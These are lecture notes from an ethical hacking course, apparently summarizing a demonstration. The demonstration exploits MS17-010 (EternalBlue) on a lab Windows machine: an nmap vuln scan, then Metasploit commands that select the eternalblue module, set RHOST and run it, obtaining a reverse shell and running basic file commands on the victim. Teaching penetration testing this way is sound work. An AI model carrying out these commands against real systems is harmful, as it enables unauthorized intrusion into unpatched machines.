

Lecture 22 : Security Scanning and Proxy Preparation

Introduction

In the realm of ethical hacking and cybersecurity, understanding how to identify and exploit system vulnerabilities is a critical skill. This lecture delves into a practical demonstration of exploiting a target machine, building upon previous lessons on vulnerability scanning. The process begins with a thorough reconnaissance phase, where tools are employed to uncover weaknesses in a target system. Once vulnerabilities are identified, specialized frameworks like Metasploit come into play, offering a vast array of exploits to compromise the system.

This session specifically focuses on leveraging a known vulnerability, MS17-010, often associated with the "EternalBlue" exploit, to gain unauthorized access to a Windows machine. Students will learn the step-by-step methodology, from initial scanning to gaining a command-line interface (shell) on the victim machine, and subsequently performing basic post-exploitation actions such as file system manipulation. This hands-on approach highlights the importance of robust security practices and the potential impact of unpatched systems in real-world scenarios.

Core Concepts

Term	Definition	Significance
<code>nmap</code>	A powerful open-source network scanner used for discovery and security auditing.	Essential for the initial phase of ethical hacking, allowing identification of open ports and services on a target machine.
<code>nmap script vuln</code>	A specific Nmap scripting engine (NSE) script designed to detect various vulnerabilities on target systems.	Automates the process of vulnerability assessment, providing quick insights into potential weaknesses without manual checks.
<code>Vulnerability</code>	A weakness in a system, software, or hardware that	The fundamental entry point for any exploitation attempt;

Term	Definition	Significance
	can be exploited by an attacker.	identifying these is the first step towards compromise.
MS17-010	A critical remote code execution vulnerability in Microsoft's Server Message Block (SMB) version 1 server.	A widely known and exploited vulnerability (EternalBlue) that serves as a prime example for demonstrating system compromise.
Metasploit Framework	A comprehensive penetration testing platform that provides information about security vulnerabilities and aids in exploit development.	The go-to tool for ethical hackers to select, configure, and execute exploits against identified vulnerabilities.
Exploit	A piece of software, data, or sequence of commands that takes advantage of a bug or vulnerability to cause unintended behavior.	The mechanism used to leverage a vulnerability and gain control or access to a target system.
Shell	A command-line interface (CLI) that allows a user to interact with an operating system.	Represents successful compromise, granting the attacker direct control over the victim machine's operating system.
RHOST	A parameter in Metasploit that specifies the IP address of the remote target host (victim machine).	Crucial for directing the exploit to the correct target, ensuring the attack is launched against the intended system.
RPORT	A parameter in Metasploit that specifies the remote port on the target host to which the exploit will connect.	Defines the specific service port on the victim machine that the exploit will attempt to interact with.

Term	Definition	Significance
EternalBlue	The codename given to the exploit that targets the MS17-010 vulnerability.	A specific and highly effective exploit demonstrated in the lecture, showcasing a real-world attack vector.

Detailed Analysis

1. Initial Vulnerability Scanning with Nmap

The first crucial step in any penetration test is to identify potential weaknesses in the target system. This lecture demonstrates the use of `nmap` for this purpose, specifically targeting an IP address: `10.35.1.155`.

- **Target Identification:** The target machine's IP address is `10.35.1.155`.
- **Nmap Command Execution:** The `nmap` tool is invoked from a Kali Linux terminal with specific options to perform a vulnerability scan.

```
nmap -T4 --script vuln 10.35.1.155
```

- **-T4** : This option sets the timing template to "Aggressive," which speeds up the scan.
- **--script vuln** : This instructs Nmap to run all scripts categorized under "vuln," which are designed to detect various vulnerabilities.
- **Scan Results - Open Ports:** The Nmap scan reveals several open TCP ports on the target machine, indicating active services that could potentially be exploited. These include:
 - 135 (RPC)
 - 139 (NetBIOS Session Service)
 - 445 (Microsoft-DS SMB)
 - 5357 (WS-Discovery)
 - 49152, 49153, 49154, 49155, 49156, 49157 (Dynamic/Private Ports)
- **Scan Results - Vulnerability Identification:** The `vuln` script identifies several potential vulnerabilities related to SMB. While some are reported as "ACCESS DENIED" or "false" (e.g., `samba-vuln-cve-2012-1182`, `smb-vuln-MS01-054`, `smb-vuln-MS10-061`), one critical vulnerability is flagged as "VULNERABLE":

- `smb-vuln-MS17-010` : This indicates a "REMOTE CODE EXECUTION VULNERABILITY IN MICROSOFT SMB version 1 server." This is the target vulnerability for exploitation.

2. Introducing the Metasploit Framework

With the MS17-010 vulnerability identified, the next phase involves using the Metasploit Framework to exploit it. Metasploit is a powerful tool for developing and executing exploit code against a remote target machine.

- **Launching Metasploit:** The Metasploit console is launched using the `msfconsole` command in the Kali Linux terminal.

```
msfconsole
```

- **Searching for Exploits:** Once Metasploit is running, the `search` command is used to find exploits related to the identified vulnerability, `MS17-010`.

```
search MS17-010
```

- **Identifying Relevant Exploits:** The search yields several modules, including two primary exploits relevant to the task:
 - `exploit/windows/smb/ms17_010_eternalblue` : This exploit targets the MS17-010 vulnerability using the EternalBlue technique.
 - `exploit/windows/smb/ms17_010_psexec` : Another exploit for the same vulnerability, often used for post-exploitation.
- Both exploits have a disclosure date in 2017, indicating they are well-known and documented. For this demonstration, `eternalblue` is chosen.

3. Exploiting the Target with EternalBlue

The core of the demonstration involves configuring and executing the `eternalblue` exploit to gain access to the victim machine.

- **Selecting the Exploit:** The `use` command is employed to load the chosen exploit module into the Metasploit environment.

```
use exploit/windows/smb/ms17_010_eternalblue
```

- **Reviewing Exploit Options:** Before execution, it's crucial to understand and configure the exploit's parameters. The `show options` command displays these settings.

```
show options
```

- Key options include `RHOST` (Remote Host) and `RPORT` (Remote Port).
- **Setting the Remote Host (`RHOST`):** The `RHOST` parameter is set to the target machine's IP address, `10.35.1.155`.

```
set RHOST 10.35.1.155
```

- **Verifying the Remote Port (`RPORT`):** The `RPORT` is typically set to 445 by default for SMB exploits. The Nmap scan confirmed that port 445 is open on the target, so no change is needed for this parameter.
- **Executing the Exploit:** With all necessary options configured, the exploit is launched using either the `exploit` or `run` command.

```
exploit
```

- Upon successful execution, Metasploit initiates a "reverse TCP handler" on the attacker machine (IP: `10.35.1.153`, Port: `4444`). This handler listens for a connection back from the compromised victim machine.
- A successful connection results in gaining a "shell" on the victim machine, indicating that the attacker now has command-line access.

4. Post-Exploitation: Interacting with the Victim Machine

Once a shell is obtained, the attacker has control over the victim machine's command prompt, allowing for various post-exploitation activities.

- **Gaining Command Prompt Access:** The shell provides a direct command-line interface to the victim's operating system, effectively acting as the `cmd` (command prompt) of the Windows machine.
- **Listing Directories and Files:** The `dir` command can be used to list the contents of directories.
- To list files in the current directory (e.g., `system32`):

```
dir
```

- To list files in a specific drive (e.g., C drive):

```
C:  
dir
```

- **Creating Directories:** The `mkdir` command allows the creation of new directories on the victim's file system.
- Example: Creating a directory named "hack" in the C drive.

```
mkdir hack
```

- Verification: Using `dir` again confirms the creation of the "hack" directory.
- **Deleting Directories:** The `rmdir` command can be used to remove directories.
- Example: Deleting the previously created "hack" directory.

```
rmdir hack
```

- Verification: A subsequent `dir` command confirms the directory has been removed.
- **Session Control:** The lecture concludes with the attacker having full command-line control over the victim machine, demonstrating the severe implications of unpatched vulnerabilities. The session can be closed, and further exploitation techniques can be explored in subsequent lessons.

Key Takeaways

- [] Vulnerability scanning with `nmap` and its `vuln` script is the initial step to identify weaknesses in a target system.
- [] The MS17-010 vulnerability, often exploited by EternalBlue, allows for remote code execution on unpatched Microsoft SMBv1 servers.
- [] The Metasploit Framework (`msfconsole`) is a powerful tool for searching, configuring, and executing exploits.
- [] Exploits require careful configuration of parameters like `RHOST` (target IP) and `RPORT` (target port).

- [] A successful exploit grants a "shell" or command-line access to the victim machine, enabling direct interaction.
- [] Basic post-exploitation commands like `dir`, `mkdir`, and `rmdir` can be used to manipulate the victim's file system.
- [] Unpatched systems, especially those with critical vulnerabilities like MS17-010, pose significant security risks.

Conclusion

This lecture provided a compelling, step-by-step demonstration of how a critical vulnerability, MS17-010, can be exploited using readily available tools like Nmap and Metasploit. By first identifying open ports and specific weaknesses, then leveraging a powerful exploit like EternalBlue, an attacker can gain complete command-line control over a target machine. The ability to list, create, and delete files and directories underscores the profound impact of such a compromise.

The practical exercise highlights the importance of proactive security measures, such as regular patching and vulnerability management, to defend against these types of attacks. Understanding the attacker's methodology is crucial for building more resilient systems. Future sessions will likely delve deeper into the Metasploit Framework, exploring more advanced post-exploitation techniques and defensive strategies to counter such threats.